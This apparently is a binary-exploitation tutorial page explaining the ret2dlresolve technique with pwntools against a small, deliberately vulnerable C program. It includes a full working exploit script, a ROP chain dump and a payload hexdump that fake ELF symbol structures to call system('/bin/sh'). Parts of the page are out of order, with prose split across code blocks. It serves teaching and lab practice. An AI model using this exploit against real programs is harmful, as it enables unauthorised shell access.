arrow-left

All pages
gitbookPowered by GitBook
1 of 1

Loading...

Exploitation

hashtag
Source

To display an example program, we will use the example given on the pwntools entry for ret2dlresolve:

hashtag
Exploitation

pwntools contains a fancy Ret2dlresolvePayload that can automate the majority of our exploit:

Let's use rop.dump() to break down what's happening.

As we expected - it's a read followed by a call to plt_init with the parameter 0x0804ce24. Our fake structures are being read in at 0x804ce00. The logging at the top tells us where all the structures are placed.

Now we know where the fake structures are placed. Since I ran the script with the DEBUG parameter, I'll check what gets sent.

  • system is being written to 0x804ce00 - as the debug said the Symbol name addr would be placed

  • After that, at 0x804ce0c, the Elf32_Sym struct starts. First it contains the table index of that string, which in this case is 0x4ba4 as it is a

After all the structures we place the string /bin/sh at 0x804ce24 - which, if you remember, was the argument passed to system when we printed the rop.dump():

hashtag
Final Exploit

#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}
very
long way off the actual table. Next it contains the other values on the struct, but they are irrelevant and so zeroed out.
  • At 0x804ce1c that Elf32_Rel struct starts; first it contains the address of the system string, 0x0804ce00, then the r_info variable - if you remember this specifies the R_SYM, which is used to link the SYMTAB and the STRTAB.

  • # create the dlresolve object
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
    
    rop.raw('A' * 76)
    rop.read(0, dlresolve.data_addr)             # read to where we want to write the fake structures
    rop.ret2dlresolve(dlresolve)                 # call .plt and dl-resolve() with the correct, calculated reloc_offset
    
    p.sendline(rop.chain())
    p.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in
    [DEBUG] PLT 0x8049030 read
    [DEBUG] PLT 0x8049040 __libc_start_main
    [DEBUG] Symtab: 0x804820c
    [DEBUG] Strtab: 0x804825c
    [DEBUG] Versym: 0x80482a6
    [DEBUG] Jmprel: 0x80482d8
    [DEBUG] ElfSym addr: 0x804ce0c
    [DEBUG] ElfRel addr: 0x804ce1c
    [DEBUG] Symbol name addr: 0x804ce00
    [DEBUG] Version index addr: 0x8048c26
    [DEBUG] Data addr: 0x804ce00
    [DEBUG] PLT_INIT: 0x8049020
    [*] 0x0000:          b'AAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        [...]
        0x004c:        0x8049030 read(0, 0x804ce00)
        0x0050:        0x804921a <adjust @0x5c> pop edi; pop ebp; ret
        0x0054:              0x0 arg0
        0x0058:        0x804ce00 arg1
        0x005c:        0x8049020 [plt_init] system(0x804ce24)
        0x0060:           0x4b44 [dlresolve index]
        0x0064:          b'zaab' <return address>
        0x0068:        0x804ce24 arg0
    [DEBUG] ElfSym addr: 0x804ce0c
    [DEBUG] ElfRel addr: 0x804ce1c
    [DEBUG] Symbol name addr: 0x804ce00
    00000000  73 79 73 74  65 6d 00 61  63 61 61 61  a4 4b 00 00  │syst│em·a│caaa│·K··│
    00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 ce 04 08  │····│····│····│····│
    00000020  07 c0 04 00  2f 62 69 6e  2f 73 68 00  0a           │····│/bin│/sh·│·│
    0000002d
    0x005c:        0x8049020 [plt_init] system(0x804ce24)
    from pwn import *
    
    elf = context.binary = ELF('./vuln', checksec=False)
    p = elf.process()
    rop = ROP(elf)
    
    # create the dlresolve object
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
    
    rop.raw('A' * 76)
    rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
    rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset
    
    log.info(rop.dump())
    
    p.sendline(rop.chain())
    p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in
    
    p.interactive()